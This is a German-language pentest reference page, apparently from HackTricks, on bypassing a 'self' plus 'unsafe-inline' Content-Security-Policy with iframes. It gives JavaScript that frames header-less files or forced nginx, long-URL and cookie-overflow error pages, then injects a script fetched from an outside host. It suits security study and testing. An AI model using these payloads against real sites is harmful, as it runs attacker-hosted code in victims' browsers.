CSP bypass: self + 'unsafe-inline' with Iframes

Unterstützen Sie HackTricks

Eine Konfiguration wie:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Verbot der Nutzung von Funktionen, die Code ausführen, der als Zeichenfolge übertragen wird. Zum Beispiel: eval, setTimeout, setInterval werden aufgrund der Einstellung unsafe-eval blockiert.

Jeder Inhalt von externen Quellen wird ebenfalls blockiert, einschließlich Bilder, CSS, WebSockets und insbesondere JS.

Über Text & Bilder

Es wird beobachtet, dass moderne Browser Bilder und Texte in HTML umwandeln, um deren Anzeige zu verbessern (z. B. Hintergründe festlegen, zentrieren usw.). Folglich wird, wenn eine Bild- oder Textdatei, wie favicon.ico oder robots.txt, über ein iframe geöffnet wird, sie als HTML gerendert. Bemerkenswert ist, dass diese Seiten oft keine CSP-Header haben und möglicherweise keine X-Frame-Options enthalten, was die Ausführung von beliebigem JavaScript von ihnen ermöglicht:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Via Errors

Ähnlich kommen Fehlermeldungen, wie Textdateien oder Bilder, typischerweise ohne CSP-Header und können X-Frame-Options weglassen. Fehler können dazu gebracht werden, innerhalb eines iframes geladen zu werden, was die folgenden Aktionen ermöglicht:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Nach dem Auslösen eines der genannten Szenarien ist die Ausführung von JavaScript innerhalb des iframes wie folgt möglich:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Referenzen

Unterstütze HackTricks

Last updated